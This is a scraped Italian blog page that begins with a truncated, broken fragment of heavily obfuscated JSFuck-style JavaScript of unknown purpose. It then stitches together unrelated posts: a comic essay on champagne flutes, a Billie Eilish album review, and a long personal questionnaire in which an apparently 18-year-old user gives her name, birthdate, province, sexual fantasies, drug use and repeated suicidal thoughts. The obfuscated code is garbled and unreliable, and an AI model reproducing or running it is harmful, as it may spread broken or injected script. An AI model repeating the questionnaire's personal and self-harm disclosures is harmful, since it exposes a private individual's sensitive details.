]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[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lanimadellamosca · 5 years
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Come fu che inventarono i flûtes
Ieri un amico che sta per andare in pensione è venuto a trovarmi per brindare con me, un pensiero molto carino; tempo fa, quando io ancora lavoravo, ci è capitato ogni tanto di lavorare insieme, in équipe si diceva, ed il fatto che abbia pensato a me in questa occasione vuol dire che non è stato spiacevole.
Io, come conviene, ho tirato fuori la cristalleria.
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Sono tre, ce li ho da vent’anni, sono di cristallo, a suo tempo avevo verificato, m’ero leccato per bene l’indice e lo avevo sfregato con regolarità sul bordo fino a che suonasse. Li avevo presi coi buoni del supermercato, quando avevo messo su casa subito dopo essermi separato: per essere di cristallo era una campagna pubblicitaria niente male, se tenete conto che essendo un single non è che spendessi chissà che cifre quando facevo la spesa, e se tenete conto che in genere la separazione è un tracollo economico da cui ci si riprende piano piano o sotto cui si soccombe per sempre e quindi occhio a far la spesa.
E comunque, ho tirato fuori i flûtes per il mio amico che sta per andare in pensione, ed abbiamo bevuto bollicine mangiando, a mo’ di brindisi.
Ed io, che non riuscivo a rilassarmi dal timore di urtare col braccio un flûte e farlo cadere, o di poggiarlo male e vederlo cadere, perché i flûtes sono una sfida alla legge di gravità, ogni volta che bevevo pensavo che questi flûtes, non è che siano poi tanto comodi e tanto signorili, perché per riuscire a bere devi buttare la testa all’indietro, se no il flûte va a inciampare sul naso ed il vino riesce a malappena a bagnarti le labbra. In sostanza, se stai mangiando con un amico, e parli e bevi mentre mangi, con l’unica accortezza ovviamente di non parlare a bocca piena, non puoi bere mentre lo ascolti guardandolo con interesse in faccia, ma mentre lui parla devi buttar la testa indietro e bere dal tuo maledetto flûte, con un gesto che io trovo altamente scortese.
Lavando i piatti ho poi riflettuto sulla questione: come sarà stato che l’umanità ha inventato i flûtes, quanto di più scomodo e sconveniente ci possa essere per bere? Ma non ho trovato la risposta.
La risposta m’è venuta oggi, mentre mangiavo da solo e finivo quel che era rimasto delle bollicine bevendo da un normalissimo bicchiere. Anzi, non normalissimo: un bicchiere vecchio, di quei mezzi quartini di vetro spesso, nemmeno tanto ben fatti; su cui non potresti mai inciampare perché sono bassi, che non potresti mai rovesciare perché hanno la base larga, e da cui puoi bere guardando fisso negli occhi qualsiasi interlocutore perché sono abbastanza ampi che ci si infila comodamente il naso, senza andare a impattare nel bordo. Questo, per intenderci.
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E bevendo ho capito: i flûtes qualche depravato li ha inventati per rendere signorile l’atto di bere, secondo una idea tutta sua di signorilità. Vengo e mi spiego…
In sostanza: tu sei un signore, un vero gran signore, e siedi normalmente a una ricca tavola imbandita d’ogni bendidio, con tanto di cristalleria ed argenteria; ed essendo un signore, non devi sembrare un cafone morto di fame, devi sembrare quel che sei, un signore, che mangia e beve per sfizio, perché la fame e la sete non sa cosa siano; però siccome sotto sotto tu sei un cafone, la signora tua moglie, gran dama, per costringerti a non lasciarti andare soprattutto in presenza di altri signori ospiti, ha dato comanda a qualche artigiano di fare dei bicchieri sottili, fragili, instabili e scomodi, così tu meschino devi muoverti piano, con prudenza e con gesti misurati, e quando bevi devi appena riuscire a bagnarti le labbra, dando l’impressione di centellinare il tuo pregiatissimo sciampagn. 
È così che devono essere stati inventati i flûtes, per costringere a non bere; e nonostante fosse un ossimoro, la loro perniciosa invenzione ha funzionato e ha preso piede, perché tutti i signori non sembra ma sono dei cafoni e si butterebbero sul cibo e sul vino come dei morti di fame e bisogna costringerli a non farlo, tutto per sembrare dei signori e non sembrare dei cafoni.
Poi, se tu che sei un signore, da signore qual sei, in mezzo ad altri signori tuoi ospiti, fra tutti quanti decidete di svaccare.., be’, allora è un’altra storia: buttate quei maledetti flûtes contro il muro e li spaccate in mille pezzi maledicendo chi li ha inventati, vi fate portare dei boccali di terracotta, quelli che i vostri cucinieri e camerieri usano quando mangiano gli avanzi della vostra tavola e bevono il vinaccio acido delle vostre vigne più oscure, con quelli bevete finalmente a piene sorsate quello sciampagn che tra una risata e l’altra vi fa fare dei gran rutti, che forniscono pretesto ad altre risate e a divertenti competizioni; poi arraffate una coscia di pernice con una mano e infilate l’altra nel décolleté della signora commensale vicina, non la vostra signora moglie ma quella dall’altro lato, di modo che il suo signor marito possa fare lo stesso con la signora commensale vicina dall’altro lato, e alla fine ogni signore avrà una mano in un décolleté e i conti quadreranno come in una somma dove cambiando l’ordine degli addendi il risultato non cambia.  
Se vuoi, tu che sei un signore, tutto questo puoi farlo, ma lo devi fare a dispetto e malgrado i flûtes, devi superare questa barriera, il che può rendere le cose ancora più divertenti e trasgressive. Ma questa è un’altra storia, che esula dalla storia della invenzione dei flûtes, e che magari una volta, se ho voglia, racconterò.
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gazemoil · 5 years
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RECENSIONE: Billie Eilish - WHEN WE ALL FALL ASLEEP, WHERE DO WE GO? (Interscope / Darkroom, 2019)
Billie Eilish, cantautrice statunitense, non ha quasi bisogno d’introduzioni. A soli diciassette anni è una degli artisti dell’alternative pop più seguiti su internet e da un paio di mesi non si fa altro che parlare di lei. Il suo talento canoro è emerso in età precoce e già ad undici anni iniziava a scrivere canzoni, mentre a quindici un suo singolo diventava virale per la prima volta. Adesso è invitata a tutti i festival più importanti e pubblica il suo album di debutto WHEN WE ALL FALL ASLEEP, WHERE DO WE GO? con una grande etichetta come l’Interscope, ricevendo tantissime attenzioni da pubblico e critica. Con tutti gli occhi puntati addosso, Billie Eilish ha la grande responsabilità di dimostrare di non essere l’ennesimo prodigio la quale fama è destinata ad essere improvvisamente grande quanto breve.
Prima d’intraprendere qualsiasi discorso è bene chiarire ciò che si poteva appurare già prima dell’uscita del suo primo album: quello che sta facendo Eilish non è una novità senza precedenti, infatti, di promettenti stelle dell’anti-pop ne nascono un paio ogni anno. Basti pensare a Melanie Martinez, nel 2015, un’artista che non menzioniamo a caso, perché proprio lei condivide tantissime similitudini con Eilish, la più evidente delle quali è probabilmente quell’estetica che unisce il macabro con l’innocuo, l’atteggiamento infantile e quello provocatorio. Poi c’è Lana Del Rey che ha avuto il suo momento di gloria qualche anno fa quando ancora di personaggi così se ne vedevano di meno, oppure Lorde che ha debuttato da giovanissima con un disco molto inusuale per le classifiche e adesso fa del pop ciò che vuole. Insomma, è lunga la lista di artisti che hanno contribuito ad aprire gli orizzonti, musicalmente e visivamente, su ciò che può essere pop.
A parte il fatto che in giro per il mondo ci saranno tantissimi ragazzini convinti di ascoltare qualcosa di trasgressivo quando non è così, non si vuole in alcun modo non riconoscere a questa giovanissima artista un evidente talento, emerso già nell’EP dont smile at me, pubblicato quando era solo una quindicenne. Eilish ha una magnifica voce, morbida e vellutata, anche se non ha ancora scoperto come usarla nel pieno delle sue potenzialità e risultando di conseguenza costretta in un certo schema, ma alla sua età è più che normale, in più ha una personalità fuori dalle righe che emana un comprensibile fascino e le permette di calcare i palchi come un’artista vissuta. Quanto ci sia di costruito nel suo personaggio poco importa, e c’è un’altra cosa che non contamina la riuscita della sua musica e di cui vogliamo parlare per arrivare dritti al centro del problema: il fatto che coi singoli successivi, pubblicati strategicamente uno dopo l’altro senza pensare ad punto d’arrivo, Eilish abbia accettato di diventare l’ennesima pianta su cui gli interessi poco nobili dell’industria musicale potessero prolificare. Non importa perché la sua musica conservava carattere ed una certa indipendenza, quella voglia di seguire il proprio sogno creando con la propria arte un mondo in cui esprimersi. 
WHEN WE ALL FALL ASLEEP, WHERE DO WE GO? doveva costruirsi proprio su questi punti di forza e da lì dimostrare di volersi migliorare. E’ facilissimo puntare il dito contro la nuova arrivata, ma a sciogliere tutti i dubbi sarebbero bastati le interpretazioni vocali di cui è capace, sempre emotive ma maturate per offrire più sfumature, uno sviluppo chiaro dell’ambivalenza delle due atmosfere alle quali puntava - ovvero, gli abissi spaventosi del nostro inconscio durante il sonno, scuro come il buio della notte, e la presa di coscienza della veglia durante il giorno - e produzioni allettanti che seguissero il ritmo dei singoli. Purtroppo, questo succede troppo poco, malgrado, date le premesse, sembrassero obiettivi alla portata di Eilish e del fratello Finneas O’Connel che si occupa sin dagli inizi di scrivere musica con la sorella. Se prima si poteva sempre puntare sulla bellissima voce, adesso non viene sfruttata a pieno, soffocata molto spesso da alcune scelte di produzione davvero discutibili. Se prima si finiva affascinati, o almeno incuriositi, da una personalità particolare e sgargiante, adesso si viene confusi da due atteggiamenti quasi opposti tra i quali oscilla senza criterio, rischiando di diventare forzata. WHEN WE ALL FALL ASLEEP, WHERE DO WE GO? è forse il disco dell’anno sul quale fino ad ora ci troviamo più contrastati: ha i propri difetti nell’essere scostante e poco fluido e nel fatto che non si salvi abbastanza materiale, giusto i singoli già conosciuti e qualche altra canzone, ma bisogna ammettere che in certi momenti si rivela proprio insolito e diverso rispetto agli altri dischi alternative pop, nonostante la produzione avrebbe potuto essere meno massimalista ed inquadrare meglio il sound in modo da incominciare subito a costruirne uno riconoscibile. 
Il fatto che servano più ascolti per iniziare ad apprezzare il disco è certo - e qui gli riconosciamo il merito di non essere forzato nell’orecchiabilità - ma non siamo altrettanto sicuri che, nonostante l’abitudine, alcune delle cose che le prime volte appaiono come sbavature passeranno inosservate. !!!!!!! è una brevissima introduzione che fa intuire il carattere scherzoso e goffo della cantante e come quest’album sia stato registrato in uno spazio confidenziale quale la cameretta di casa, ma questo prendersi poco sul serio ed ironizzare su certi lati del proprio aspetto o dell’adolescenza - che inevitabilmente provocano l’opinione pubblica sugli stereotipi alimentati dai media - va d’accordo con tracce come bad guy o all the girls go to hell e volendo anche coi momenti più macabri e surreali che assottigliano la linea tra umorismo nero e serietà di my strange addiction, bury a friend e you should see me in a crown, ma stonano a confronto coi pezzi più malinconici e vulnerabili come when the party’s over, xanny e listen before i go. Forse, ci troviamo davanti a qualcuno ancora un pò diviso tra persona e personaggio, qualcuno che vuole apparire da un lato effettivamente umano, emotivo ed autentico e dall’altro che vuole ritrarsi in maniera più “artistica” e complessa, quasi dissociandosi dagli altri.
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Ad alleviare la mancanza di lovely, un singolo che avrebbe potuto elevare notevolmente la qualità dell’album, c’è when the party’s over che le somiglia in esecuzione vocale sia in sentimenti sia in tecnicità, trovando comunque le sue caratteristiche individuali in sonorità meno cinematiche, ma più notturne e minimali che fanno uso semplicemente di tastiera e synth per mettere in primo piano l’emotività della voce. Si tratta sempre di un tipo di ballad abbondantemente esplorata nel catalogo dell’artista, ma molto affine alle sue corde. xanny è un ottimo esempio di sviluppo di un modello già ampiamente utilizzato che continua a far forza sulla voce dolce ed i ritmi lenti, ma unisce l’elettronica dei bassi distorti e spigolosi e degli alti di matrice trap ad una tastiera che, nella metà finale, dimostra la sua versatilità aprendosi in un complesso molto più organico con una batteria classica d’accompagnamento; la canzone, inoltre, commenta il tema dell’uso irresponsabile delle droghe a fine ricreativo, lanciando un messaggio che si oppone a quello spesso perpetrato da molti giovani nel mondo della musica, ovvero, puntando ad invitare chi ascolta alla consapevolezza dei suoi effetti piuttosto che alle sua divinizzazione. wish you were gay racconta in maniera inusuale ed ironica del rifiuto da parte di un ragazzo, svelando una delle parti più curiose della cantante. “Don't say I'm not your type / Just say that I'm not your preferred sexual orientation”. Musicalmente è un ibrido tra un pop acustico come non si sentiva da metà anni duemila e rivisitazioni elettroniche à la Alessia Cara, forse un pò grossolana proprio in quanto a produzione, ma il fatto che sia cantata come se fosse quasi una traccia rnb fa in modo che escano fuori sfumature diverse nella voce di Eilish che non capiterà più di sentire all’interno del disco. you should see me in a crown ha ancora un’altra impostazione, un’attitudine totalmente diversa che presenta sonorità sintetiche più avvicinabili al mondo dell’hip-hop, tendenzialmente asciutte, misteriose ed aggressive; di conseguenza Eilish raffredda la voce entrando nel personaggio misterioso ed impenetrabile che prosegue in bury a friend e bad guy - e che sembri non avere niente a che fare con quello di poche tracce fa. 
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Se fino ad ora le avevamo gradite, il disco inizia ad abusare delle ballad pop con la carrellata delle canzoni finali, risultando ripetitivo ed un pò prevedibile nel mettersi a seguire quel filone malinconico già battuto da tantissimi altri artisti prima di lei. 8 è probabilmente la traccia che ci lascia più perplessi nella produzione, in quanto ad un sentitissimo ukulele si decide di affiancare una distorsione acuta della tonalità della voce davvero non necessaria e fastidiosa che altro non fa che ostacolare le belle qualità canore di Eilish. ilomilo fallisce in suggestioni e passa inosservata con la sua strumentale vaga in cui si applicano di nuovo manipolazioni grossolane ad una voce già fiacca, mentre i love you non riesce a spiccare come dovrebbe perché sovrastata da tracce vicine molto simili.
In conclusione, WHEN WE ALL FALL ASLEEP, WHERE DO WE GO? rimane un debutto incompiuto con ottimi spunti e tanta potenzialità. Da un lato toppe sentite e risentite negli ultimi anni, poca continuità e troppa carne al fuoco, dall’altro tracce dagli impeti positivamente sperimentali ed entusiasmo nei confronti di una giovane artista con tanta voglia di fare. Questa non vuole essere una bocciatura totale, infatti, crediamo che presto Billie Eilish possa arrivare in alto. Forse aspettando ancora qualche anno e nel momento in cui si staccherà dal fratello per trovare altre spalle che l’affianchino nella produzione e nell’elaborazione di un’estetica ben definita.   
TRACCE MIGLIORI: bad guy; xanny; when the party’s over; my strange addiction
TRACCE PEGGIORI: all the good girls go to hell; 8; ilomilo; goodbye
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1 Nome completo. Saeda maria Elena Silvia 2 Età. 18 3 Orientamento sessuale. Etero.. 4 Altezza... fanculo.. 1.52 5 Quando sei nato? 6/6/98 6 Hai una cotta per qualcuno? Si 7 Luogo preferito. Il tetto di casa di mia nonna in estate a guardare il tramonto 8 Numero di scarpe. 38 9 Abbigliamento preferito jeans maglione e converse 10 Colore degli occhi. Marroni 11 Colore dei capelli. Marroni 12 Vacanze preferite? L'anno scorso 13 Rapporto con i tuoi genitori. Adoro mia madre è non parlo con mio padre da 3 anni 14 Come ti senti? Apatica 15 Tattoos e piercing che hai? Ho una g con le ali dietro la spalla destra 16 Tattoos e piercing che vorresti? Vorrei altri tatuaggi come l'albero di limoni 17 Ti piace più baciare o essere baciato? Entrambe 18 Preferisci un bacio rubato o un bacio studiato? Rubato 19 Guancia, labbra o altre parti del corpo? Alla guancia mi piacciono troppo 20 Hai mai baciato l’ultima persona che ti ha scritto? Eh... Martën..si.. sulla guancia 21 L’ultima volta che hai tenuto per mano qualcuno? Martën oggi 22 Faresti mai sesso con l’ultima persona che ti ha inviato un messaggio? Martën la cosa si fa preoccupante 23 Hai parlato con un tuo ex ultimamente? Ci parlo tutti i giorni in classe 24 Hai perso la verginità? Seh... 25 C’è qualcosa per cui sei eccitato/a? Attualmente no 26 Hai mai ricecevuto la “buona notte” e il “buon giorno”? Tutti i giorni da quella puttana di C 27 Ti sei mai depilato le gambe negli ultimi tre giorni? Eh Bhe.. sennò divento chewbecca 28 Preferisci la musica a tutto volume o a un volume ragionevole? A tutto volume ovvio. Mi sanguinano i timpani ogni volta 29 C’è qualcuno del sesso opposto a cui puoi raccontare tutto? Martën 30 Quanto spesso falsifichi i tuoi sorrisi? Ieri è successo .. quindi presumo spesso 31 L’ultima volta che hai abbracciato qualcuno? Oggi Martën e Lollo 32 Se potessi incontrare qualcuno, chi sarebbe? BON JOVI 33 Ti dà fastidio quando qualcuno usa il proprio corpo per ottenere qualcosa ? No, fatti suoi 34 Hai un paio di skinny jeans? Ho solo quelli 35 In cosa spendi tutti i tuoi soldi? Manga e vinili 36 Di solito ascolti le persone o sono loro che ascoltano te? Entrambe, ma non ho una grandissima capacità di ascoltare le persone 37 Dormi molto o poco? Troppo poco 38 Profumo preferito? Non ne ho uno, di solito quello del ragazzo che mi piace 39 C’è qualcuno di cui ti fidi, anche se non dovresti? Si 40 Ti piace l’odore della benzina? Lo sbuffo ogni volta 41 Sai toccarti il naso con la lingua? No, anche se è enorme e potrei riuscirci easy 42 Hai conoscenti in prigione? No... 43 Comprato preservativi? No 44 Fatto sesso in pubblico? No.. 45 Fumato erba? Si 46 Fatto uso di droghe? No.. 47 Fumato sigarette? Si 48 Bevuto alcol? Purtroppo sì, mi spiace per Martën che mi deve fare da babysitter 49 Sei vegetariano/vegano? Ma che stai scherzando. 50 Mai stato sovrappeso? Si alle medie 51 Mai stato sottopeso? Alle elementari 52 Ti sei mai tinto i capelli? Una volta li ho fatti verdi 53 Pisciato fuori? No.. 54 Cosa vuoi per il tuo compleanno? La spada laser di obi wan 55 La tua canzone preferita. Moonlight shadow-Mike olfied. Da quando sono bambina che la canto 56 Una canzone che ti fa sorridere. Punk rock 101-bowling for soup 57 Una canzone che invece ti fa piangere. Best of me-sum 41 58 Una canzone che ti è stata dedicata da una persona che ti ama o che ti ha amato. Non mi è mai stata veramente dedicata una canzone 59 Una canzone che invece odi. Roma-Bangkok-baby K 60 Una canzone che per te segna un evento importante. Mamma-Claudio villa 61 Hai mai dormito con dei peluche o bambole? Lo faccio tutt'ora con il mio amore, Duffy 62 Ti piacerebbe essere al centro dell'attenzione? No, lo odio 63 Ti piaci? No 64 Cosa cambieresti di te stesso? Praticamente tutto 65 Cosa manterresti invariato? Penso i capelli, ma li cambierei comunque perché sono troppi normali 66 Gli amici sono la tua seconda famiglia? Si. 67 Sei felice? No 68 Credi che sia giusto fare sesso al primo appuntamento? ... non saprei non è mai successo 69 Perdoneresti un tradimento da parte del partner? Sono una ragazza che porta rancore quindi non credo 70 Serie tv preferite? SHAMELESS E SCRUBS A VITA 71 Sai guidare? Lasciamo stare 72 Hai tanti amici? Ne ho pochi ma veri 73 Hai paura del buio? Ho il terrore, specie se sono sola 74 Di che colore sono le tue mutande preferite? Sono celesti, con i girasoli 75 L'ultima volta che hai sorriso. Oggi 76 L'ultima volta che hai detto: ti voglio bene. Lunedì 77 Sono lisci o ricci i tuoi capelli? Lisci, fottutamente lisci 78 Che shampoo usi di solito? Per cute morbida e capelli che durano più a lungo..Headshoulders, lo shampoo numero 1 in Italia. 79 Parli molto o molto poco? Parlo troppo 80 Ti piace andare a scuola? Ultimamente lo sto odiando 81 Hai mai provato a scrivere un libro? Alle medie si 82 Scrittore preferito? Non sono una grande lettrice ma mi piace molto Mark Twain 83 Il cibo che odi. Pasta con pesce 84 Sei d'accordo con la moda :se fumo sono figo? No sei un coglione 85 Se potessi dare un pugno in faccia a qualcuno a chi lo daresti? FLAVIETTAAAAA VIENI QUIIII 86 L'ultimo messaggio che ti ha emozionato? Eh.. " mi annoi quando stai zitta" 87 Quali paesi vorresti visitare? Voglio tornare in Francia , Paesi Bassi e Irlanda 88 Dove vorresti vivere? Francia 89 Ti hanno mai picchiato? Troppe volte anche 90 Se vincessi dieci milioni di euro cosa ti compreresti come prima cosa? Tanti vinili HAHHA 91 Una cosa che ti rende felice? Martën 92 Una persona che ti attrae fisicamente? BON JOVI 93 Cosa ti fa innamorare in una persona? Eh, i capelli, gli occhi, le mani, è come si comporta con me... 94 Ti depili le parti intimi? Bhe si... 95 Mai ubriacato? Meglio non ricordare 96 Cosa stai indossando ora? La felpa di R2-D2 97 Il colore delle tu mutande? Grigie 98 Del tuo reggiseno? Grigio con merletto nero 99 Cosa ti piace fare nel tempo libero se rimani a casa? Ascoltare la musica a palla e disegnare 100 E se esci? Mangiare fuori 101 Il tuo sogno erotico più hard? BON JOVI NUDO CON LA TUTA DA ELETTRICISTA CHE LO FA CON ME SUL TAVOLO DEL MIO VICINO DI CASA INFARINATO.. 102 Cosa ti rifaresti dal chirurgo plastico? Naso. 103 Se tuo figlio/a fosse gay sarebbe un problema? Perché dovrebbe. Guai a chi me lo tocca. 104 Vodafone, Tim, Wind o 3? Tim 105 Cosa bisogna avere dalla vita? Una gioia 106 Hai mai pensato al suicidio? Io penso sempre al suicidio, specie da ieri.. 107 Posta una foto di te stesso. C'è quella del profilo 108 Porti le lenti a contatto/occhiali? No ma dovrei perché sto diventando una cazzo di talpa 109 Di dove sei? Provincia di Roma 110 Sei mai stato da uno psichiatra/terapeuta? Si ci sono stata 111 Hai qualche fobia? Ho paura dei fulmini,ragni,tombini,clown,aghi e altre cose 112 Ti sei mai avvicinato alla morte? Magari succedesse 113 Qual è la tua stagione preferita? Autunno 114 Pensi che qualcuno provi dei sentimenti per te? No 115 Pensi che qualcuno stia pensando a te in questo momento? No 116 Hai mai pianto per un ragazzo/a? Anche troppe volte, ieri è successo. 117 Avete mai desiderato qualcuno non potrai mai avere? BON JOVI sarà mio. 118 C'è qualcuno che non dimenticherai mai? Si, mio nonno 119 Hai dei fratelli? Purtroppo no 120 Il tuo primo bacio? L'ho dato sul mento del mio primo ragazzo perché ero troppo bassa.. 121 La tua prima volta? In pigiama.. 122 Hai le persone che vuoi vicino a te? Quelle giuste 123 O sono lontane? No 124 Amici a distanza? Si ce ne sono alcuni 125 Amore a distanza? No 126 Sei fidanzata? No 127 Vuoi fidanzarti? Astuccio viola 128 Ti piacciono le coccole? Oh si 129 I baci? Si 130 Gli abbracci? Assolutamente si. 131 Credi più alle parole o ai gesti? Purtroppo sono una persona che da molto peso alle parole.. 133 Apprezzi quello che ti viene fatto? Si molto volte 134 Fai sorridere la gente? Spero di sì 135 Alba o tramonto? Tramonto 136 Mare d’inverno o d’estate? Estate 137 Mai rubato? No 138 Perché ti sei iscritto a Tumblr? Per scrive quel che cazzo voglio senza che mia madre o altri possano rompermi le palle 139 3 blog preferiti. Non ne ho... 140 Se al/la tuo/a partner venisse voglia di provare qualcosa che ha visto in un film porno tu che faresti? Accettare sempre HAHAHHA 141 Mai visto video porno? Quando mai non è successo.. haha 142 In compagnia? Dei libri 143 La tua fantasia sessuale più ricorrente? BON JOVI COPERTO DI PANNA SPARAY E UNA CIOTOLA DI FRAGOLE... 144 Nutri interesse sessuale anche per persone del tuo stesso sesso? Little Linda e Angela Mazzanti sono la prova della mia omosessualità 145 Cosa pensi dei film porno? Adoro. 146 Ogni quanto ti masturbi? Dipende da come mi gira 147 Dormi con o senza vestiti? D'estate a volte senza 148 Come sfoghi la tua rabbia? Prendo a pugni un muro 149 Sei il tipo di persona che vorresti avere come amico/a? Non credo, sarei il mio amico coglione 150 Dov'è il tuo migliore amico/a in questo momento? In palestra 151 Risparmi o spendi subito i soldi che ottieni? Risparmio 152 Quante relazioni hai avuto? Due 153 Sei contento/a della persona che sei diventato/a? Non proprio, ma si può sempre cambiare 154 Credi nella fortuna? Si 155 Se avessi un figlio maschio e uno femmina, come li chiameresti? Femmina: lyra o leila Maschio: Marco o Alessandro 156 Se ricevessi dei regali da un anonimo? Sarei troppo contenta mi piacciono le cose di nascosto sono le più sincere.. 157 Se dovessi andare a vivere dall'altra parte del mondo? Magari 158 Se vincessi alla lotteria, cosa faresti? Comprerei il diploma e la patente 159 Se potessi cambiare nome, lo cambieresti? Con quale? No mi piace il mio nome, specie quando lo pronuncia lui... borry 160 Se il genio della lampada ti offrisse 3 desideri quali sarebbero? 1 niente più ceretta 2vorrei prendere la patente 3 ricevere il diploma 161 Se avessi la possibilità di tornare indietro nel tempo cosa cambieresti? Sicuramente nulla sono felice così 162 Se ti offrissero un viaggio, dove vorresti andare? Francia 163 Se dovessi scegliere tra amore e amicizia? Amicizia 164 Se potessi, cosa cambieresti del tuo carattere? La capacità di urlare come una gallina, è la coglionaggine da bambina di due anni 165 Se potessi incontrare il tuo idolo chi sarebbe? BON JOVI 166 Hai animali domestici? Gigetto il mio gattino 167 Qual è l’ultimo manga che hai letto? Tsubasa e Hotaru 168 Ultima cosa che hai bevuto? Coca cola di sottomarca. Era giusto specificare. 169 La pagina web più visitata oggi? Non c'è 170 Hai mai frequentato due persone contemporaneamente? No è mai succederà. Non è una bella cosa. 171 Hai mai perso qualcuno di speciale? È successo.. ma si va avanti.. 172 Sei mai stato depresso/a? Sono sempre depressa 173 Ti sei mai ubriacata e poi hai vomitato? Vomitato no, riso come una cogliona per la parola "marteno" si.. 174 Incontrato qualcuno che ti ha cambiato la vita? Si è successo 175 Capito chi sono i tuoi veri amici? Si 176 Credi in te stesso? No 177 Cioccolato bianco o nero? Bianco a vita 178 Cosa ti piace di te? Nulla 179 Hai cicatrici sul tuo corpo? Ne ho tantissime sulle mani 180 Il ricordo più bello legato alla tua infanzia? Mio nonno che mi portava in giro per l'Italia in estate spiegandomi la storia 181 Frase che dici più spesso? "Praticamente" "io bho, non c'ho parole" 182 Peggior difetto? Parlo e urlo troppo 183 Stai mangiando? Magari, ora mi prendo qualcosa però 184 Stai bevendo? Si, acqua 185 Stai aspettando? Eh sì.. 186 Vuoi sposarti? Non ho fretta 187 Meglio rimpiangere di non aver tentato o pentirsi di averlo fatto? Pentirsi di averlo fatto.. come sempre 188 Giorno o notte? La notte 189 Labbra o occhi? Ardua scelta.. occhi. 190 Storiella o relazione seria? Dipende dai caso in cui mi trovo con una persona 191 Essere o apparire? Essere 192 Un obiettivo? Diplomarmi è trovare lavoro 193 Sei mai stato arrestato? Fortunatamente no.. 194 Cosa fai quando ti senti giù? Mi metto nel letto e ascolto "hunky dory" di David Bowie 195 Cosa dice l’ultimo messaggio che hai ricevuto? "Bei tempi" da Manni 196 Quale è l’ultimo libro che hai letto? Cento poesie d'amore 197 Quale è l’ultimo film che hai visto? La La Land 198 Sei solito portare rancore nei confronti delle persone che ti hanno fatto un torto? Purtroppo sì, e non mi piace 199 Stai indossando calze? No 200 Cosa faresti se avessi un ultimo mese di vita? Festeggerei, fino a sentirmi male e diminuire ancora di più la mia vita 201 Per te, cosa rende grandiosa una relazione? La passione 202 Quale è la migliore decisione che tu abbia mai preso? La scelta della mia scuola 203 Dimmi la prima cosa che ti viene in mente sentendo la parola “cuore”. Organo formato da atri e ventricoli 204 Dolce o salato? Salato 205 Coca cola cola o tè? The 206 Tè alla pesca o al limone? LIMONE 207 A quale domanda avresti paura a rispondere sinceramente? Non c'è .. 208 Quale mezz’ora della tua vita rivivresti, avendone la possibilità quella del giorno 21 ottobre. 209 Quale parte della tua vita cancelleresti? Le medie 210 Con quale celebrità musica dormiresti? BON JOVI 211 Hai la possibilità di partire in questo istante. Dove andresti? Francia 212 Pensi di essere davvero bravo a: nulla 213 Pensi di essere davvero male a: scuola 214 Sei una cattiva persona? Delle volte si 215 Sei gentile con tutti? Non con tutti 216 Hai mai avuto un amico immaginario? Da piccola si, si chiamava Oscar era un cavallo alato che diventava piccolino a scuola e enorme in giro 217 Dici 10 fatti sulla tua camera: è piena di cose,ho 86 manga, ha foto attaccate sul letto, l'armadio non si chiude, la libreria è piegata perché il mio gatto ci dormiva sopra, ho 31 peluches su ogni letto, ho due letti anche se sono figlia unica, ho poster delle locandine di film, nascondo le carte del cibo che mangio di nascosto, le scale sono cassetti. 218 Un libro che desideri leggere. "La ragazza con l'orecchino di perla" 219 Descrivi la tua libreria da sogno: "piena di vinili , libri e manga" 220 3 